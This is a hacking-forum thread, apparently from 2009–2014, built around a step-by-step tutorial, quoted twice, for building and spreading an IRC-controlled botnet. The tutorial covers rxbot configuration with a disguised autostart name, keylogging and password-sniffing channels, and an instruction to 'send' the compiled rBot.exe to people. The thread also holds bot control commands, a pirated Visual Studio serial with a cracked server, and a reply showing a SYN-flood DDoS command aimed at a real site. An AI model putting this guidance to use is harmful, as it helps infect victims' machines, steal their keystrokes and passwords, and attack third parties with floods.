OI Return my PM dbxd!!!

Xeonph - August 19, 2009, 7:58 am

I seem to have it all set up correctly, and when i run the rbot.exe it creates a zombie(xxxx) on my MIRC channel, but commands don't seem to do anything.

I think maybe im not connected properly.

The only thing i havn't done is the /join #yourchannel part you tell us to do, because it automatically connects me to #bots when i connect to MIRC anyway so i didnt think it be needed.

d3t0n4t0r - August 19, 2009, 12:37 pm

very nice tutorial!

but i would like to know, do you guys have any idea whether this botnet works in windows 7?

and if it is installed in the client pc, does firewall or antivirust might alert the user?

really need to know about that

Legym - August 19, 2009, 2:38 pm

really need to know about that

VB6 installation does not work with windows 7.

Will only install correctly with vista <

Vorfin - August 21, 2009, 12:14 pm

All looks good but the link for Visual Studio 6 Service Pack 5 is dead.

jit - August 21, 2009, 3:53 pm

Very good tutorial!!!! Very good details!

Razoor - August 23, 2009, 7:01 am

I get error with IRCPlus:

Code Component NTSVC.ocx or one of its dependencies not correctly registered: a file is missing or invalid

Help?

Vaqxine - August 24, 2009, 6:48 pm

Broke my Visual C++, so I attempted to uninstall it, then tried reinstalling it and it didn't work properly.

Came back here to do a reinstall, got it installed, the service pack 5 link is now dead (thanks Microsoft!) and I installed service pack 6, so now the third link doesn't work because it uses service pack 5 only (thanks again Microsoft!) and now I'm installing the core SDK which is going to take a while because Microsoft seem to have the worst download and install speeds than any other major company, and then I've got to go and add the folders to include.

Legym - August 24, 2009, 7:03 pm

Check my guide in my sig. All the links still work and everything is provided.

Vorfin - August 24, 2009, 10:03 pm

(Aug 24, 2009 07:03 PM)legym Wrote: [\[CITE\]](#) Check my guide in my sig. All the links still work and everything is provided.

Thanks, downloading now!

ssfourteenen - August 25, 2009, 3:00 pm

OK... I did everything word for word from the tut. Except I am running my own server using IRCPlus 2000, and mIRC 6.34. I did everything I'm suppose to do to set up IRCPlus, but whenever I double click the "Remote" (IRCPlus remote thingy) It shows this box (don't have a thing to take screenshots, lol)

REMOTE LOGIN

SERVER NAME: [127.0.0.1] PORT: [7100]
USER NAME: [User name here]
PASSWORD: [Password here] [] Save Information

[FIREWELL SETTINGS] [CANCEL] [CONNECT]

for the server name do I put my no-ip.com server name? or keep it as 127.0.0.1?
and for username and password, do I put the no-ip.com stuff, or the stuff i set up with with IRCPlus? OK i think i'm getting somewhere. Now I get this in mIRC window when I try to logon into my server.

```
Connecting to (my no-ip.com) (port)
--
*(my no-ip.com) IRCPLUS 2.5.1294
--
*(my no-ip.com) AUTHREQUEST Authentication REquired
--
[10054] Connection reset by peer
--
*Disconnected
```

Any ideas?

syazwan - August 28, 2009, 12:24 pm

I've tried to find all over the forum and none worked for me

Keep getting this error

search "hd botnet setup" here on the forums ?

swiners - September 14, 2009, 5:18 pm

hey nice tut, ive been looking around for one of these for a while

darc - September 14, 2009, 11:26 pm

when i try to connect to my irc server it says (connection refused) help hurry !!

Da Loser - September 15, 2009, 2:49 am

(Jan 21, 2009 12:39 PM)deviney Wrote: [\[CITE\]](#) Hi :D

As you might know i have been asking around lately about botnet's and been getting mostly positive and helpful reply's (thanks guys).

I thought now iv got everything up and running id show everyone else how to get there's up and running:D (am nice like that).

by the way i think this is C&C IRC. I wish someone would teach me how to do peer and other methods. I am also looking for a group/clan that can teach me more and more things :).

There are 1 or 2 pics i borrowed from forums that a few an far i forgot to add credit an i carnt be bothered looking all over the internet AGAIN, just for a nickname... But if its yours then PM me an ill

add you to the credits. :)

ok lets get started.

First lets download all the thing you need

1. [Visual Studio 6](#)

Pass: itzforblitz

Serial: 812-2224558

2. [Visual Studio 6 Service Pack 5](#)

3. [Visual Studio 6.0 Processor Pack](#)

4. [Windows XP Core SDK](#)

5. IRCPlus 1.5 + Crack (Follow the A, B, C to download)

A... [\(sign up to sub7\)](#)

B... [\(then click here to get the pass and username for the download\)](#)

C... [\(click here to download\)](#)

6. [mIRC](#)

7. [www.no-ip.com](#) account (ill go into this a bit more later on)

8. [Bot Source](#)

Second Lets Setup Microsoft Visual C++ 6.0

1. Run Microsoft Visual C++ 6.0 setup.exe and install it (Serial: 812-2224558)

2. Install the Service Pack 6

3. Install Windows XP SDK

4. Open up Microsoft Visual C++ Compiler 6.0

5. Go to Tools > Options and Click the "Directories" tab

6. Browse to these directories and add them to the list: (Click the dotted box to add, make sure they go in this order)

Code C:\PROGRAM FILES\MICROSOFT PLATFORM SDK

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE

C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\LIB

[img]http://img472.imageshack.us/img472/1562/untitledfw2.png[/img]

Time To Make a No-Ip Account

This will help stop people getting your IP address.

1. [Goto No-Ip.com](#) and make an account
2. Setup a free Host redirect e.g botnet.no-ip.biz
3. Click on downloads to download your No-IP Dynamic DNS Update Client
4. Run and install the file you downloaded, now leave this for now.

Time to install your IRC_plus 1.5

This is where your host will be (where your actual IRC will be stored). Now you don't need to find/Root a box (anyways let's carry on)

1. Install IRC_plus
2. Use the crack "It will say it never worked, even though it did :S)
3. Now open IRC plus "Remote Control"
4. Download [THIS guide \(made by me, for you :D\)](#) to show you pictures of how it should be set-up step by step so it works correctly.

Time to setup the mIRC client

The client is so you can connect to your host that you just setup. Without this you would never be able to see the chat room haha.

1. Install mIRC
2. Open mIRC and fill in the usual crap: like name, email, nick blah blah and press ok
3. Now click File> Select Server> Click Add> "fill it out as below"

Description: What ever you want

IRC SERVER: enterwhatyoumade.no-ip.biz (Use the no-ip DUS you made)

Ports: 6667 (this is the most common used but it can be 6000-6010, use what's in your bots config and the one you used in your host)

Group: what ever you want

Password: Password you made in IRCplus

4. Press Add> Press OK
5. Leave mIRC open, open No-IP DUC and Open IRCplus
6. Go back to mIRC and press the lightning bolt in the top left area.

You should now be connected to your server, Now type:

/OPER admin password (Make sure to change password to the one you made on your host)

/join #youchannel (make sure you replaced your channel with the one you made on your host)

You should now be on your IRC chat room (channel). If you are then your doing good, if not start this TUT again and follow every step to the letter don't skip ahead at any time.

Now the Bit You Have Been Waiting For: Setting Up Your Bot

1. Unpack "rx-asn-2-re-worked_v3.rar" Bot Source

2. You should see an rx-asn-2-re-worked v3 folder

3. Open the rx-asn-2-re-worked v3

4. Open configs.h folder and edit these lines only:

```
Code // bot configuration (generic) - doesn't need to be encrypted2001
int port = 6667;      // server port (Change to 6667 or the port your IRC uses)
Code #else // Recommended to use this only for Crypt() setup, this is unsecure.

char botid[] = "Mr Bumbastic";    //Change to what you want the bot to be called
char version[] = "0.1";          // Change What version you want it to be called
char password[] = "password";    // change to a password you will use inside your irc so bots
know its you
char server[] = "yournoipduc.no-ip.biz";    // Change to the No-ip DUC address that you made.
char serverpass[] = "passwords";    // Change to the server password you made on ICRplus host
char channel[] = "#bots";          // Change to the channel you made on ICRplus host
char chanpass[] = "";              // Best to leave this blank, we don't need we have a server password
char server2[] = "";               // Does not work so make it blank
char channel2[] = "";              // Does not work so make it blank
char chanpass2[] = "";             // Does not work so make it blank
char filename[] = "crss";          // What you want your bot to be called in Task manager (i think
hmmm)
char keylogfile[] = "keylog";      // keylog filename (says it all haha
char valuenamename[] = "Microsoft"; // value name for autostart (not too important so leave it as
microsoft)
char nickconst[] = "zombie";       // change to first part to the bot's nickname in IRC
char szLocalPayloadFile[] = ".exe"; // What you want your bot to be called in Task manager
char modeonconn[] = "-xi+B";       // Haven't got a clue so just leave it
char exploitchan[] = "#bots";      // Channel where exploit messages get redirected
char keylogchan[] = "#bots";       // Channel where keylog messages get redirected
char psniffchan[] = "#bots";       // Channel where psniff messages get redirected
```

5. Save it and close Visual Studio 6

6. Now open the rx-asn-2-re-worked v3 folder again > open rBot.dsw

7. Now right click Rbot file and click build.

[img]1. Download and unpack: Rxbot 7.6 (212.3 kb) Mirror 2 Mirror 3 2. You should see an Rxbot 7.6 folder 3. Open the Rxbot 7.6 > configs.h folder and edit these lines only: [/img]

8. Your botnet will be saved in rx-asn-2-re-worked v3> Debug folder

9. Send this to people rBot.exe to people

Lastly Using the bot

Firstly i am just going to give you very basic commands to use. Make sure you have mIRC, No-IP DUC, IRCplus running and have some bots already.

1. Ok now connect to your server using mIRC

2. Make sure your the admin (/oper admin password)

3. Use the commands

Code .Login botpassword

(You have to do this first so the bots listen to you, make sure botpassword is what you set in config.h)

.Remove (incase you opened it on your pc, also removes from other pc's and leaves nothing behind)

4. Here's were you can get all the commands [click here](#)

Hehe, i see you got a nice long tutorial with step by step instructions and some pics!? Got a coloring book too? For th3 N00bZ becaus3 W3 4r3 El337

darc - September 15, 2009, 8:06 pm

HELP??

ResilientFall - September 20, 2009, 8:48 am

Is there a way for me to test this on my own local network?

ResilientFall - September 20, 2009, 10:33 am

Hey guys I would just use a different bot source because does not seem to be working.

MR Noodle - September 24, 2009, 12:39 am

how about you make it less complicated for noobs.....

deviney - September 27, 2009, 1:24 pm

well, if your a noob.... then i suggest you try something like keylogging or something first and learn more before trying botnets! As botnets are a lil bit more up there.....

Which am glad about or we would all be gettin ddos attacks lol

softgod - September 29, 2009, 1:30 pm

How do you open the port, and dont tell me by port opening software. Tried those, but I dunno my router!!

softgod - September 29, 2009, 2:48 pm

Bot net supplies :: Rxbot here

http://#.com/files/285979465/Botnet_Supplies.rar (Jan 21, 2009 10:06 PM)kA53y Wrote: [\[CITE\]](#)

Great Tut deviney

Need a little help though....

Not sure about #4 Windows XP Core SDK

link opens up to Windows® Server 2003 SP1 Platform SDK Web Install

is this correct

I am having prob with my sdk version. Is it work?the server 2003 sp1 sdk??

c_exploitation - October 21, 2009, 6:40 pm

thanks dude brent can shove it great tut!

adamasd1 - October 23, 2009, 1:40 am

When try to install c++ I get an error

I run the setup type in the serial->give it the place where it can save the install files than I get an error saying:

ERROR launching C:/documents and settings/Microsoft Visual C++ 6.0 Standard Edition/acmboot.exe

After that I get another pop up that says:

This visual C++ 6.0 Standard Edition setup failed Please try rerunning the installation wizard. For answers to common installation questions and updated information about this product visit the Microsoft Developer Network (MSDN) website at <http://www.microsoft.com/msdn>

Please help!

thankyou

xSpin - October 23, 2009, 1:15 pm

Quick Question:

Is this 100% Free?

deviney - November 2, 2009, 11:37 am

yes it is :) :) :)

short too ;)

TriGz - November 7, 2009, 4:40 am

Good tutorial.

Everyone chooses rxbot 7.6 >_>

MODALamo - November 8, 2009, 6:55 pm

up on this one. thanks

Da Loser - November 8, 2009, 6:59 pm

(Oct 23, 2009 01:15 PM)xSpin Wrote: [\[CITE\]](#) Quick Question:

Is this 100% Free?No bro if your in the U.S, it costs around 10-15 bucks for a valid U.S botherder license. To apply, go to fbi.gov and ask them about it. Tell em your name is ZeroKool and they will know what your talking about ;) ?

Anddos - November 9, 2009, 3:00 am

5+ years in the scene. Programmer. Blackhat. I'm-=C[o]NTeMPT=-. I don't care if you noobs like me or hate me, either way your gonna Respect me.

hahaha , more like 5+ years in copying and pasting, i have not forgot about you're little scheme on msn ripping me off with source code

Kink - November 9, 2009, 3:18 am

lol...this seems very familiar o.o

juird - November 9, 2009, 8:45 am

thanks helped alot .

Gizmo - November 11, 2009, 5:25 am

Bump, because this is a great thread!!! Thanks again :)

\$weet - November 11, 2009, 9:35 am

excellent tutorial man, very easy to follow as well for the noobs :P

Pacosas - November 21, 2009, 11:43 am

that SDK shit one instals very long time. ;/

Graff1ti - November 27, 2009, 1:24 am

(Nov 21, 2009 12:43 PM)Pacosas Wrote: [\[CITE\]](#) that SDK shit one instals very long time. ;/

You have got the web install one .. it downloads and installs the components at same time and you need to do so every time you install ... a better one is the .iso ones, just download and it's ready to install each time ?

Knoxville - November 27, 2009, 3:31 am

This bot cant be crypted just like the other public irc bots...

virusc - December 12, 2009, 7:24 am

i have done this tutorial once and it worked fine..

but since i format my pc i try to follow install guides and get this error:

[IMG][http://i49.\[censored\].com/2ljl4hw.jpg](http://i49.[censored].com/2ljl4hw.jpg)[/IMG]

any fix ?

Brosa - December 12, 2009, 8:59 am

Anyone would know no-ip dosnt hide your ip. If you just ping the dns bam there's the ip. So you should probably take that out.

matthew227 - December 20, 2009, 11:19 am

I ACTUALLY UNDERSTAND SOMTHING! OMG!

Joseph Ducreux - December 20, 2009, 11:32 am

This guide will work but you will have to find a different bot source that will compile with vb08 and communicates using IRC

_3rr0r - February 4, 2010, 11:49 am

(Feb 3, 2010 10:25 AM)deviney Wrote: [\[CITE\]](#) This guide will work but you will have to find a different bot source that will compile with vb08 and communicates using IRC Thank you for the quick reply dude. I will look into it!

Elemental - February 5, 2010, 11:17 am

what IRC should i use is 1.5 good enough or should i download a newer version

crim - February 5, 2010, 11:57 am

THANKS BRO I CAN FINALLY START MY OWN BOTNET

itzdustin - February 5, 2010, 11:57 am

if your gonna post a long tutorial atleast check the links cause like none are working

TheChosenOn3 - February 12, 2010, 5:47 pm

Lol this is copied exactly from Code

<http://h4ckem.blogspot.com/2009/04/botnet-setup-step-by-step.html> Good post though ;]

SkyShadow - February 12, 2010, 9:53 pm

FINALLY! A good TuT

CustomSync - February 13, 2010, 12:41 am

Several of these are already created, but this one seems to be very detailed. Great post

JohnRocksBeds - February 20, 2010, 10:23 pm

thanks man this helped a lot !

Tate - February 20, 2010, 10:24 pm

(Jan 21, 2009 01:08 PM)deviney Wrote: [\[CITE\]](#) I would love to see the link of where this tutorial was posted you little lyer!

Get your facts straight before you come spouting your little newby mouth of here!
I believe him, solely because you spelled "liar" wrong, and you called him a "little newby".

Fail.

cybr - February 20, 2010, 10:34 pm

Great tutorial. I'll be sure to use this later. Thanks!

SkyShadow - February 21, 2010, 9:58 am

I tried to do this...

And failed epicly.

0x1BADC0D3 - February 25, 2010, 2:18 pm

IRCPlus is incredibly unstable, if you get anywhere over 500 users you'll be lucky if the server will still be standing lol. You really need a good nix ircd like unreal, inspircd, or something to that effect.

fireboot - February 26, 2010, 6:47 am

<http://www.filewatcher.com/m/vs6sp5.exe.136410832.0.0.html> link for visual studio sp5

stekke - March 4, 2010, 5:58 am

i cant use the SDK cause i have windows 7 ? what to do

IMtense - March 4, 2010, 3:34 pm

For those of you trying this and still getting errors on Windows XP...

I just installed a fresh VM and installed MSVS 6 and got errors as well.
you need to have XP SP2 installed.

simply make sure you have SP2, then go here: [HERE!!!](#)

Do as the site says, download them all and then install the SDK.
Once you have installed SDK, go to START Menu and look for the new SDK folder, then look around for "REGISTER SDK WITH VISUAL STUDIO"

This should fix most of your problems.

devintrey - March 5, 2010, 11:45 am

Weird i saw this post and i was like uh i didnt write a tut.

Name confused me.. lol

Nice tut tho bro.

z4z000 - March 25, 2010, 8:13 am

I have installed Service pack 6, added directories in right order. But now i get this compiling error:

```
Code -----Configuration: nzm - Win32 Release-----
Compiling...
ddos.cpp

Error executing cl.exe.

nzm.exe - 51 error(s), 0 warning(s)

Please PM me if anyone know how to fix it, THANKS!

Fix to this problem was that I had newer SDK installed that didn't support VC++ 6.0 :)

shibby - March 26, 2010, 1:14 pm

yoh man where can i get this IRCplus 1.5 the link you gave is not working anymore any idea thnx a lot

toxicdude - March 26, 2010, 6:26 pm

(Mar 26, 2010 01:14 PM)shibby Wrote: [CITE](#) yoh man where can i get this IRCplus 1.5 the link you gave is not working anymore any idea thnx a lot
one of these may work

http://tu cows.atarde.com.br/win2k/adnload/...8233_29824.html

<http://freepop.tu cows.com/files4/ircplus.exe>

<http://freepop.tu cows.com/adnload/dlircplus.html>

haven't tested any

hehaheha2 - March 26, 2010, 7:12 pm
do you have to port forward?

yay 100th post

bipbipbip - March 28, 2010, 10:08 pm
Marked for read. Thank you.

nashdog - March 29, 2010, 7:25 am
Can't wait to check this out, it's hard to find definitive information on bots.

milamber6969 - May 7, 2010, 1:51 am
(Jan 21, 2009 01:08 PM)deviney Wrote: [\[CITE\]](#) I would love to see the link of were this tutrial was posted you little lyer!

Get your facts straight before you come spouting your little newby mouth of here!

its right here...so instead of raging try google :P

<http://h4ckem.blogspot.com/2009/04/botnet-setup-step-by-step.html>

2Lame4You - May 29, 2010, 4:39 pm
Nice one ,add to fav gonna give it a try tomorow?

syneticon - June 26, 2010, 9:14 pm
Thank you VERY much this is very helpful!

VaPoRiZe - June 26, 2010, 10:32 pm
(Jan 21, 2009 12:39 PM)deviney Wrote: [\[CITE\]](#) Hi :D

As you might know i have been asking around lately about botnet's and been getting mostly positive and helpful reply's (thanks guys).

I thought now iv got everything up and running id show everyone else how to get there's up and running:D (am nice like that).

by the way i think this is C&C IRC. I wish someone would teach me how to do peer and other methods. I am also looking for a group/clan that can teach me more and more things :).

There are 1 or 2 pics i borrowed from forums that a few an far i forgot to add credit an i carnt be bothered looking all over the internet AGAIN, just for a nickname... But if its yours then PM me an ill add you to the credits. :)

ok lets get started.

First lets download all the thing you need

1. [Visual Studio 6](#)

Pass: itzforblitz

Serial: 812-2224558

2. [Visual Studio 6 Service Pack 5](#)
3. [Visual Studio 6.0 Processor Pack](#)
4. [Windows XP Core SDK](#)
5. IRCPlus 1.5 + Crack (Follow the A, B, C to download)
 - A... [\(sign up to sub7\)](#)
 - B... [\(then click here to get the pass and username for the download\)](#)
 - C... [\(click here to download\)](#)
6. [mIRC](#)
7. [www.no-ip.com](#) account (ill go into this a bit more later on)
8. [Bot Source](#)

Second Lets Setup Microsoft Visual C++ 6.0

1. Run Microsoft Visual C++ 6.0 setup.exe and install it (Serial: 812-2224558)
2. Install the Service Pack 6
3. Install Windows XP SDK
4. Open up Microsoft Visual C++ Compiler 6.0
5. Go to Tools > Options and Click the "Directories" tab
6. Browse to these directories and add them to the list: (Click the dotted box to add, make sure they go in this order)

Code C:\PROGRAM FILES\MICROSOFT PLATFORM SDK
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\LIB
[img]<http://img472.imageshack.us/img472/1562/untitledfw2.png>[img]

Time To Make a No-Ip Account

This will help stop people getting your IP address.

1. [Goto No-Ip.com an make an account](#)
2. Setup a free Host redirect e.g botnet.no-ip.biz
3. Click on downloads to download your No-IP Dynamic DNS Update Client
4. Run and install the file you downloaded, now leave this for now.

Time to install your IRC_plus 1.5

This is where your host will be (where your actual IRC will be stored). Now you don't need to find/Root a box (anyways let's carry on)

1. Install IRC_plus
2. Use the crack "It will say it never worked, even though it did :S)
3. Now open IRC plus "Remote Control"
4. Download [THIS guide \(made by me, for you :D\)](#) to show you pictures of how it should be set-up step by step so it works correctly.

Time to setup the mIRC client

The client is so you can connect to your host that you just setup. Without this you would never be able to see the chat room haha.

1. Install mIRC
2. Open mIRC and fill in the usual crap: like name, email, nick blah blah and press ok
3. Now click File> Select Server> Click Add> "fill it out as below"

Description: What ever you want

IRC SERVER: enterwhatyoumade.no-ip.biz (Use the no-ip DUS you made)

Ports: 6667 (this is the most common used but it can be 6000-6010, use what's in your bots config and the one you used in your host)

Group: what ever you want

Password: Password you made in IRCplus

4. Press Add> Press OK
5. Leave mIRC open, open No-IP DUC and Open IRCplus
6. Go back to mIRC and press the lightning bolt in the top left area.

You should now be connected to your server, Now type:

/OPER admin password (Make sure to change password to the one you made on your host)

/join #youchannel (make sure you replaced your channel with the one you made on your host)

You should now be on your IRC chat room (channel). If you are then you're doing good, if not start this TUT again and follow every step to the letter don't skip ahead at any time.

Now the Bit You Have Been Waiting For: Setting Up Your Bot

1. Unpack "rx-asn-2-re-worked_v3.rar" Bot Source
2. You should see an rx-asn-2-re-worked v3 folder
3. Open the rx-asn-2-re-worked v3

4. Open configs.h folder and edit these lines only:

Code // bot configuration (generic) - doesn't need to be encrypted2001

int port = 6667; // server port (Change to 6667 or the port your IRC uses)

Code #else // Recommended to use this only for Crypt() setup, this is unsecure.

char botid[] = "Mr Bumbastic"; //Change to what you want the bot to be called

char version[] = "0.1"; // Change What version you want it to be called

char password[] = "password"; // change to a password you will use inside your irc so bots know its you

char server[] = "yournoiduc.no-ip.biz"; // Change to the No-ip DUC address that you made.

char serverpass[] = "passwords"; // Change to the server password you made on ICRplus host

char channel[] = "#bots"; // Change to the channel you made on ICRplus host

char chanpass[] = ""; // Best to leave this blank, we dont need we have a server password

char server2[] = ""; // Does not work so make it blank

char channel2[] = ""; // Does not work so make it blank

char chanpass2[] = ""; // Does not work so make it blank

char filename[] = "crss"; // What you want your bot to be called in Task manger (i think hmmm)

char keylogfile[] = "keylog"; // keylog filename (says it all haha

char valuenam[] = "Microsoft"; // value name for autostart (not to important so leave it as microsoft)

char nickconst[] = "zombie"; // change to first part to the bot's nickname in IRC

char szLocalPayloadFile[]=".exe"; // What you want your bot to be called in Task manger

char modeonconn[] = "-xi+B"; // Havnt got a clue so just leave it

char exploitchan[] = "#bots"; // Channel where exploit messages get redirected

char keylogchan[] = "#bots"; // Channel where keylog messages get redirected

char psniffchan[] = "#bots"; // Channel where psniff messages get redirected

5. Save it and close Visual Studio 6

6. Now open the rx-asn-2-re-worked v3 folder again > open rBot.dsw

7. Now right click Rbot file and click build.

[img]1. Download and unpack: Rxbot 7.6 (212.3 kb) Mirror 2 Mirror 3 2. You should see an Rxbot 7.6 folder 3. Open the Rxbot 7.6 > configs.h folder and edit these lines only: [/img]

8. Your botnet will be save in rx-asn-2-re-worked v3> Debug folde

9. Send this to people rBot.exe to people

Lastly Using the bot

Firstly i am just going to give you very basic commands to use. Make sure you have mIRC, No-IP DUC, IRCplus running and have some bots already.

1. Ok now connect to your server using mIRC

2. Make sure your the admin (/oper admin password)

3. Use the commands

Code .Login botpassword

(You have to do this first so the bots listen to you, make sure botpassword is what you set in

config.h)

.Remove (incase you opened it on your pc, also removes from other pc's and leaves nothing behind)

4. Here's where you can get all the commands [click here](#) I remember using this tutorial a while back. Great job

jockthatcamel - August 18, 2010, 5:02 pm

<https://hackforums.net/showthread.php?tid=16036&page=1>

kenjipol - August 30, 2010, 9:40 pm

GREAR POST THANKS I REALLY APPRECIATE YOUR SUPPORT..

deviney - October 20, 2010, 2:19 pm

(May 7, 2010 01:51 AM)milamber6969 Wrote: [\[CITE\]](#) its right here...so instead of raging try google :P

<http://h4ckem.blogspot.com/2009/04/botnet-setup-step-by-step.html>

Funny that its posted after mine was.... look at the website address....

the 4th month of 2009 and mine was 1st month of 2009.

yet again i must say "get your facts right"

I have to wonder why some people just can't believe i wrote it... its not hard once you understand it.

??h™ - October 20, 2010, 3:02 pm

I'm more of an http bot fan, but I like these irc bots are really good. I'll have to give it a try. :)

carpetmuncher - October 25, 2010, 4:01 pm

wow, great information. I've always regarded botnets as something for the highly trained hackers and gifted techies but now, with the aid of this tutorial...I can do it too! Thanks!

RuNhacker - October 26, 2010, 2:12 pm

Thanks, this was really helpful.

deviney - October 29, 2010, 11:11 am

no problem glad i could help by passing this information on :)

iQosmo - October 30, 2010, 7:38 pm

nice tut thanks man lotta post.

acidcool - December 21, 2010, 3:14 am

wow. nice job. great tutorial.

cOld fus1on - December 21, 2010, 7:25 am

Very good work on this tut, bookmarked for later, thx...

Frida - February 2, 2011, 2:03 am

great tut thanks for the help bro

The Enforcer - February 18, 2011, 5:54 am

nice tut thanx for the share

White Hat - February 18, 2011, 6:11 am

No no noo, bad idea your hosting it on your connection. I'm going to make a real tutorial later.

MeHouSeToRix - March 18, 2011, 6:42 am

?

Made my first bot connect today ?
(little prutser)

Although i couldnt compile under W2K
(tryed all kind off tricks, always failing to compile missing files and so on)

No problems under XP

Thanks for the tut it really is fool proof

(been busy on it for two days, so iam the exception on Foul Proof?)

Cybergasm - May 20, 2011, 10:24 pm

i get an Error wen compiling im compiling on windows xp pro sp3

cmkdude - July 3, 2011, 8:35 pm

Download link for Service Pack 5 doesn't work for me. :/

tattoo46 - July 13, 2011, 12:32 am

thank you bro surely i'll try it

Dodger Leigh - August 3, 2011, 5:15 pm

Thanks for the tutorial will try this later!

Superman719 - August 3, 2011, 5:41 pm

seems like a shit ton of work...

ive never used this before so idk nething about it but i appreciate the effort personally

#irc - August 3, 2011, 5:58 pm

When I try to connect to my irc server I get

Error (connection refused) or something like that When I try to connect to my irc server I get

Error (connection refused) or something like that

kane60 - August 8, 2011, 3:53 pm

nice thanks i love you....

hamilton - August 15, 2011, 4:29 pm

woow very much :) I'm wanted botnet. my msn adres hamilton_87@msn.com

nSnoopy - August 16, 2011, 8:11 am

The ddos functions doesn't work for me :(

Snoop .synflood www.google.com 80 100

[-Bot-]-722196224 [SYN]: Done with flood (0KB/sec).

[-Bot-]-722196224 [SYN]: Flooding: (www.google.com:80) for 100 seconds

Markus789789 - August 16, 2011, 10:15 am

thank you for the nice tutorial, I will give it a try later

slaker - September 3, 2011, 2:39 pm

nice one though!! i will also try it

xHiLT - September 7, 2011, 9:39 am

Really helpful, much appreciated, i will use it.

fteenet - September 8, 2011, 11:04 am

thank you very much for the well explain tutorials,its comprehensive enough for any noob to learn

Text - September 9, 2011, 3:51 am

nice tut i really like this =] hard to find a good tut now-a-days

vedantb - September 11, 2011, 11:00 am

Great tutorial.. Thank you mate :) Very well explained and noob friendly

Naftalina - September 11, 2011, 12:00 pm

Nice guide ;) It's very helpfully thx...

memo123 - September 21, 2011, 7:13 am

i like it ,, nice and thanks , but i want the /mirx crack plz

whizzy - December 22, 2011, 11:41 am

WEll written.., you got a good writing skills

AndyD28 - December 22, 2011, 9:13 pm

The Visual Studio 6.0 Processor Pack won't install on Visual Studio 6.0 Standard Edition which is the one you have provided in the link , it will install on Visual Studio 6.0 Enterprise or Professional.

f???????™ - January 23, 2012, 2:45 am

the link for irc1.5 dosent work, anyone got alternates?

madseu - April 8, 2012, 7:31 am

Nice!!!! thanks for posting that ! :)

secsyguy - April 8, 2012, 7:47 am

Thank you!!!! very usefull ... thanks for posting.

OGBlack - April 8, 2012, 10:41 pm

this is if your doing everything by your self like crypting and everything most ppl just buy a the bin and a vps and put that on mIRC and mIRC cracked can be found anywhere and download the unrealircd.conf file put that on the vps and do the other commands and shit kid of simple stuff but i dont see the use in all this stuff your telling ppl to download bc its not like there makin g everything from scratch

Brenlol - April 10, 2012, 11:04 pm

Nice thread.. Bit confusing, but in time would be easy to work out :)

deviney - June 15, 2012, 2:17 am

(Apr 8, 2012 10:41 PM)OGBlack Wrote: [\[CITE\]](#) this is if your doing everything by your self like crypting and everything most ppl just buy a the bin and a vps and put that on mIRC and mIRC cracked can be found anywhere and download the unrealircd.conf file put that on the vps and do the other commands and shit kid of simple stuff but i dont see the use in all this stuff your telling ppl to download bc its not like there makin g everything from scratch
the reason is simple... it teaches noobs and also it does not cost a penny to do.

I think paying for stuff is just the lazy way of getting round doing the leg work

zoldyckx - August 22, 2012, 8:15 pm

hello- it still working for now? hmp..:]

Pineapple Kush - August 24, 2012, 4:51 pm

Very nice tutorial bro... really helped me out :D

Ratterify - November 12, 2012, 4:58 am

Thanks! Some of the downloads are gone / removed now though \:

idle-hands - November 12, 2012, 10:31 pm

a few broken links.. otherwise seems like a good tut.

DrewDrops29 - March 30, 2013, 12:41 am

why do you tell us to download visual studio standard edition which wont let you install that processor pack on that version , you really need to correct that.

DDoS-Em - March 30, 2013, 8:32 am

Nice job :D, its perfect, even if it has been posted before i dont mind that its posted again (as long it works) :P

psycho001011 - March 30, 2013, 4:32 pm

Download links are dead, fix it if you want !! btw. nice tut !

Cyber - March 30, 2013, 4:34 pm

ragebot.exe - 1 error(s), 0 warning(s)

nggnmay - December 3, 2013, 7:05 pm

good work, i like it very much... thanks

Doctortrololo - December 4, 2013, 9:05 am

Very nice tut, thank you for that :)

thatoneguy64 - December 10, 2013, 6:20 pm

nice tutorial :) very helpful
thanks

kees901 - January 2, 2014, 7:39 am

If i would install all the things and use it via a vmware player using windows xp on my pc will i be safe?

greetz

jerrymoris - January 8, 2014, 12:16 pm

how much will it cost setting up a betabot plx

Cones - January 8, 2014, 11:17 pm

Thank you for the tut buddy.
much love.

th3j35t3r5c4v3 - February 12, 2014, 11:08 pm

Nice tutorial man! BotNet tuts are always pretty hard to follow, but this was nice.

Homunculus - February 13, 2014, 8:35 am

for newbies, this can be almost impossible and very difficult to do but you can check this thread on how to setup the latest zeus botnet 2014. it grabs the latest mozilla firefox browser.

<https://hackforums.net/showthread.php?tid=4057507>

Error503 - February 25, 2014, 10:54 am

Thanks man, really good info. Will probably still look for professional services to start off with anyway.

Six-Nine - February 25, 2014, 5:55 pm

Very nice tutorial for beginners.

Kind regards,
~ Six-Nine?

demon_____ - February 25, 2014, 8:53 pm

nice i like it very much man
Thanks

Serkan13 - February 26, 2014, 3:34 pm

Thanks for the tutorial m8, nice one.

spazzy200 - February 26, 2014, 3:37 pm

Nice tutorial I like be working in this soon. ?

?Dizzy ? Wright ? - February 26, 2014, 6:33 pm

Thanks alot man, this post helped me out so much lol . Sadly . xD

Egypt_Hack3r - February 28, 2014, 7:16 am

Nice thread .But posting crack or serial of a program in HF is not allowed

hejhej1239 - March 1, 2014, 11:39 am

Thanks, great guide. Keep up the good work

gran4de - March 5, 2014, 12:44 pm

thank, going to try it out right now :)

nucl3arwill - April 21, 2014, 5:50 pm

You need to update the links... But brilliant tutorial!

ivrydavid73 - April 23, 2014, 11:05 pm

very helpful tutorial.. keep up the good work!

iDoS247 - April 24, 2014, 6:57 am

Does this still work?

Update the links please.

Homunculus - April 25, 2014, 8:13 am

this is a good tutorial however video tutorial helps better understanding and i have quite number of videos to learn from.

Binge - April 25, 2014, 9:05 am

This is excellent, thank you.

now for a linux tutorial haha

Robin Trilliams - April 28, 2014, 3:20 pm

Thanks for the help, excellent guide

blackwiddow - May 20, 2014, 12:30 am

your bot source like doesn't work fix plz

Da_prince - July 23, 2014, 3:23 pm

nice tutorial

I like it very much...

Thanks

Daprince - August 29, 2014, 12:51 am

What a great tutorial, thanks, it really helped

magentacak3 - November 13, 2014, 7:34 am

Would a newer version of Visual Studio work as long as i get the SDK?

